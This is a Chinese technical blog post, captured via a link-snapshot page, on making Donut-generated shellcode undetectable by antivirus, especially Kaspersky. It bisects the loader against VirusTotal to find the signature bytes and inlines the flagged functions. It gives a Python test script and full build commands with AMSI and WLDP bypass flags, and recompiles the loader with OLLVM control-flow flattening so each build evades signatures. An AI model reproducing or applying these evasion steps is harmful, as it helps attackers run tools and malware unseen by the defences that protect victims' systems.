添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
本文目录

什么是Donut

TheWover的Donut项目: https://github.com/TheWover/donut

其可将VBScript, JScript, EXE, DLL, .NET文件转为位置无关的shellcode。

其可将轻松将现有被杀的工具转换为shellcode,再通过shellcode加载技术、白+黑技术绕过AV。

为了免杀其shellcode,需要先分析生成流程和组成部分。

然而Donut生成的shellcode已经被以Kaspersky为首的各类杀软检测到

特别的有些杀软会检测内存中Donut的shellcode

对于frp这种需要一直运行的工具而言,运行一段时间后会因为内存检测而被杀掉进程

为了搞清楚杀软查杀特征,首先要做的就是分析Donut的shellcode。

shellcode生成流程和组成

代码见: https://github.com/TheWover/donut/blob/v1.0/donut.c#L1226

根据其代码,shellcode主要由3部分组成:

  • 自定位汇编
  • DONUT_INSTANCE结构数据
  • LOADER
  • LOADER

    其中LOADER是一个函数,通过传入参数DONUT_INSTANCE来加载dotnet、pe、script等

    LOADER入口为: HANDLE DonutLoader(PDONUT_INSTANCE inst)

    LOADER中分别实现了以下类型的内存加载

  • dotnet
  • script
  • 自定位汇编

    以x86为例,自定位汇编如下:

    1
    2
    3
    4
    5
    6
    7
    8
    CALL label
    ...(DONUT_INSTANCE)
    label:
    POP ecx
    POP edx
    PUSH ecx
    PUSH edx
    ...(LOADER)

    自定位汇编的作用:

  • 通过CALL指令获取DONUT_INSTANCE的地址,保存在ecx中
  • 调整栈,模拟调用 HANDLE DonutLoader(PDONUT_INSTANCE inst)
  • LOADER的免杀

    以x86为例,LOADER的数据来自: loader_exe_x86.h

    二分法定位查杀特征

    将LOADER保存为 data.bin ,通过二分法,利用 https://www.virustotal.com 扫描查杀结果

    data1.bin data.bin的前一半 data2.bin data.bin的后一半 data21.bin data22.bin data221.bin data222.bin data2221.bin data2222.bin data22221.bin data22222.bin data222221.bin data222222.bin data2222221.bin data2222222.bin

    通过测试说明特征存在于 data2222222.bin 文件中,其内容hex如下

    1
    2
    3
    4
    5
    6
    8B 54 24 0C 8B 44 24  04 56 8B F0 85 D2 74 13 57
    8B 7C 24 10 2B F8 8A 0C 37 88 0E 46 83 EA 01 75
    F5 5F 5E C3 8A 44 24 08 8B 4C 24 0C 57 8B 7C 24
    08 F3 AA 8B 44 24 08 5F C3 8B 44 24 04 8B 4C 24
    08 53 8A 10 84 D2 74 0E 8A 19 84 DB 74 08 3A D3
    75 04 40 41 EB EC 0F BE 00 0F BE 09 2B C1 5B C3

    查杀结果: 链接

    可以看到 Kaspersky ZoneAlarm by Check Point 会报 HEUR:Trojan.Win64.Donut.a

    进一步分析,对应Donut的源代码在 clib.c 中的 Memcpy Memset _strcmp 三个函数

    通过inline字免杀Loader

    由于杀软检测上述特征序列,所以将这三个函数通过inline方式嵌入调用者函数中

    inline嵌入后,LOADER将不会有上述特征序列

    修改代码

    修改 clib.c 代码

    1
    2
    3
    4
    5
    6
    inline void *Memset (void *ptr, int value, uint32_t num)
    // ...
    inline void *Memcpy (void *destination, const void *source, uint32_t num)
    // ...
    inline int _strcmp(const char *str1, const char *str2)
    // ...

    修改 loader.c ,直接包含 clib.c

    1
    2
    3
    4
    #include "loader.h"
    #include "clib.c" // <-- 添加这行
    DWORD MainProc(PDONUT_INSTANCE inst);
    // ...

    重新生成 loader_exe_x86.h

    安装VS2022,打开 x86 Native Tools Command Prompt for VS 2022 ,进入Donut源码目录

    1
    2
    3
    4
    cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
    cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
    link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
    exe2h.exe loader.exe

    命令对应说明

  • 生成exe2h.exe
  • 编译LOADER
  • 链接LOADER
  • 通过exe2h.exe将loader.exe转换为 loader_exe_x86.h
  • 再次将LOADER保存为文件,查杀结果为0/58,查杀报告 链接

    至此LOADER的免杀就完成,但重新编译 donut.exe 后,再次生成shellcode查杀还有问题

    Kaspersky ZoneAlarm by Check Point 会报 HEUR:Trojan.Win64.Donut.b

    特征名称发生了变化,从 HEUR:Trojan.Win64.Donut.a 变成了 HEUR:Trojan.Win64.Donut.b

    新特征的免杀

    分析新特征

    根据前文的分析,编写样本生成脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    import re
    from io import BytesIO
    from pathlib import Path


    def get_loader():
    data = Path('loader_exe_x86.h').read_text('ascii')
    return bytes.fromhex("".join(re.findall(r'0x([0-9a-f]{2})', data)))


    def build_loader(data: bytes, noeip=False):
    writer = BytesIO()
    if noeip:
    writer.write(b'\x90') # nop
    else:
    writer.write(b'\xe8') # call $+datalen
    writer.write(int.to_bytes(len(data), 4, 'big'))
    writer.write(data)
    if noeip:
    writer.write(b'\x90' * 4)
    else:
    writer.write(b'\x59') # pop ecx
    writer.write(b'\x5a') # pop edx
    writer.write(b'\x51') # push ecx
    writer.write(b'\x52') # push edx
    writer.write(get_loader()) # LOADER
    return writer.getvalue()


    Path('test.bin').write_bytes(get_loader())
    Path('test1.bin').write_bytes(build_loader(b'\x90'))
    Path('test2.bin').write_bytes(build_loader(b'\x90', noeip=True))
    Path('test3.bin').write_bytes(build_loader(b'\x90' * 100))
    Path('test4.bin').write_bytes(build_loader(b'\x90' * 100, noeip=True))
    Path('test5.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024))
    Path('test6.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024, noeip=True))

    测试结果如下:

    test.bin LOADER test1.bin 自定位+nop+LOADER test2.bin nop+nop+LOADER test3.bin 自定位+nop*100+LOADER test4.bin nop+nop*100+LOADER test5.bin nop+nop 1024 1024+LOADER test6.bin nop+nop 1024 1024+LOADER

    通过测试结果可以得到以下结论

  • LOADER 不杀
  • 自定位 + LOADER 的组合会被杀,但当数据长度超过1024*1024时,就不会被杀
  • 新特征免杀思路

    1. 强行将data数据(DONUT_INSTANCE结构)扩大到1M
      1. 将会增加shellcode的体积,另外如果杀软更新特征检测距离还是会被杀
      2. 修改自定位的汇编指令
        1. x86下只能通过call来自定位,即使变形,杀软也可以根据变形增加新的检测特征
        2. 定位组合特征到底什么,再进行修改
          1. 如前文二分法,时间成本高,需要大量测试
          2. 有没有办法一劳永逸的解决组合特征问题?

            考虑到新特征是自定位+LOADER组合,在不修改自定位的情况下,只能想办法抹除LOADER的特征

            在有源码的情况,想到可以考虑使用OLLVM混淆LOADER

            OLLVM混淆LOADER

            OLLVM中控制流平坦化是一种常用的代码控制流混淆技术,它通过将程序的控制流程转换为一个平坦的结构,使得代码的执行路径变得难以预测和理解。控制流平坦化技术通常使用控制流图和状态机来表示程序的控制流程,然后通过一系列转换和重排操作,将程序的控制流程转换为一个平坦的结构。

            详见: https://github.com/obfuscator-llvm/obfuscator/wiki/Control-Flow-Flattening

            流程平坦特性通过 scrambling_key 随机种子来平坦代码块,这意味每次编译将产生不同的LOADER,在下次杀软检测后只需要重新编译一次LOADER即可。

            OLLVM重新编译LOADER

            llvm不支持 __stosb 宏,需要修改 clib.c Memset 函数

            1
            2
            3
            4
            5
            6
            7
            8
            inline void *Memset (void *ptr, int value, uint32_t num) {
            unsigned char *p = (unsigned char*)ptr;
            while(num--) {
            *p = (unsigned char)value;
            p++;
            }
            return ptr;
            }

            为了方便的使用ollvm,我使用了 https://github.com/wwh1004/ollvm-16/releases ,作者将llvm升级到16,并预编译了clang-cl.exe

            将clang-cl.exe放入Donut源码目录,安装VS2022,打开 x86 Native Tools Command Prompt for VS 2022 ,进入Donut源码目录

            生成 loader_exe_x86.h

            1
            2
            3
            .\clang-cl.exe --target=i686-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
            link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
            .\exe2h.exe .\loader.exe

            此时用IDA打开loader.exe,可以看到如下图所示的流程图。

            生成 loader_exe_x64.h

            注意需要从VS目录复制chkstk.obj到Donut源码目录

            1
            2
            3
            .\clang-cl.exe --target=x86_64-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
            link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj chkstk.obj
            .\exe2h.exe .\loader.exe

            生成包含OLLVM版LOADER的 donut.exe

            1
            2
            rc include/donut.rc
            .\clang-cl.exe --target=i686-w64-windows-msvc -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include/donut.res

            再次使用 donut.exe 生成shellcode,已经没有任何杀软查杀了

            项目地址

            ollvm部分可从以下仓库获取代码和编译脚本

            https://github.com/howmp/donut_ollvm